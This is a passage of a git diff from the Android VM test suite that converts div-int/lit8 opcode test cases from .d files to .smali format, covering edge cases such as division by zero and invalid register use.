+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_11.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       div-int/lit8 v0, v2, 127
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_12.d
deleted file mode 100644
index cd72c52..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_12.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_12.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       div-int/lit8 v0, v2, -128
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_12.smali
new file mode 100644
index 0000000..33d8a52
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_12.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_12.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       div-int/lit8 v0, v2, -128
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.d
deleted file mode 100644
index 1465ebc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_13.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       div-int/lit8 v0, v2, 0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.java b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.java
index 2e8cbcb..ed372d3 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.java
@@ -18,6 +18,7 @@
 
 public class T_div_int_lit8_13 {
 
+    @SuppressWarnings("ConstantOverflow")
     public int run() {
         return 1 / 0;
     }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.smali
new file mode 100644
index 0000000..752e5f3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_13.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       div-int/lit8 v0, v2, 0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_14.d
deleted file mode 100644
index 492ccbc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_14.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_14.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_14
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const-wide v1, 31415
-       div-int/lit8 v1, v1, 1
-       const v0, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_14.smali
new file mode 100644
index 0000000..651eac3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_14.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_14.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const-wide v1, 31415
+       div-int/lit8 v1, v1, 1
+       const v0, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_15.d
deleted file mode 100644
index 88d70a1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_15.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_15.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const-wide v1, 3.1415
-       div-int/lit8 v1, v1, 1
-       const v0, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_15.smali
new file mode 100644
index 0000000..9f66175
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_15.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_15.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const-wide v1, 3.1415
+       div-int/lit8 v1, v1, 1
+       const v0, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_16.d
deleted file mode 100644
index f93542a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_16.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       div-int/lit8 v1, v3, 1
-       const v0, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_16.smali
new file mode 100644
index 0000000..99096ae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_16.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       div-int/lit8 v1, v3, 1
+       const v0, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_17.d
deleted file mode 100644
index b4169d5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_17.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_17.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_17
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 4
-
-       div-int/lit8 v0, v3, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_17.smali
new file mode 100644
index 0000000..a350ea5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_17.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_17.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+
+       div-int/lit8 v0, v3, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_18.d
deleted file mode 100644
index 10859c0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_18.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_18.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_18
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       div-int/lit8 v0, v4, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_18.smali
new file mode 100644
index 0000000..d506d43
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_18.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_18.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       div-int/lit8 v0, v4, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_2.d
deleted file mode 100644
index 96145c1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_2.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1073741823
-       div-int/lit8 v0, v2, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_2.smali
new file mode 100644
index 0000000..4209a29
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1073741823
+       div-int/lit8 v0, v2, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_3.d
deleted file mode 100644
index a93a8b0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_3.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 0
-       div-int/lit8 v0, v2, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_3.smali
new file mode 100644
index 0000000..9bfa4b9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 0
+       div-int/lit8 v0, v2, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_4.d
deleted file mode 100644
index 458cfb1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_4.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, -10
-       div-int/lit8 v0, v2, 3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_4.smali
new file mode 100644
index 0000000..23f5613
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -10
+       div-int/lit8 v0, v2, 3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_5.d
deleted file mode 100644
index 3901a7c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_5.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1073741824
-       div-int/lit8 v0, v2, -3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_5.smali
new file mode 100644
index 0000000..c4ceb41
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1073741824
+       div-int/lit8 v0, v2, -3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_6.d
deleted file mode 100644
index 35f9c63..0000000
